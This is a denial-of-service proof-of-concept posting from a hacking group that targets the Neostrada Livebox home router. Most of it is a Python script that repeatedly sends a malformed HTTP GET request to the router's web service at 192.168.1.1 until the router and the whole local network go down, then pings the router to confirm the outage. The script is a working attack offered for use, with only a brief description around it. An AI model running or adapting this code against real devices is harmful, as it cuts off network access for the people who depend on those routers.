Neostrada Livebox Router Remote Network Down PoC Exploit

Author: 0in aka zer0in from Dark-Coders Group!

Contact: 0in.email(at)gmail.com / 0in(at)dark-coders.pl

Site: http://dark-coders.pl

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Friends: cOndemned,joker,chomzee,TBH

IRC: #dark-coders & #pvt

Description:

When we send a "specially crafted http packet" x ~25

Livebox HTTP service && all network goes down

Simple PoC source:

#!/usr/bin/python

from socket import *
import os
import sys
target = "192.168.1.1"
def to_vuln(ip):
suck = socket(AF_INET,SOCK_STREAM,0)
try:
conn = suck.connect((ip,80))
except Exception:
check(ip)
return suck
def check(ip):
print "[+] No HTTP response…"
print "[+] Server and network should go down!"
print "[+] Check it with ping…"
os.system("ping "+ip)
i=0
print "[!] Neostrada Livebox Remote Network Down Exploit!!"
print "[!] [HTTP DoS vuln] "
print "[!] by 0in [0in.email(at)gmail.com] "
print "\n[+] Dosing…"
for i in range(256):
pack3t = "GET /- HTTP/1.1\r\n\r\n"
POC = to_vuln(target)
POC.send(pack3t)
try:
POC.recv(512)
except Exception:
check(target)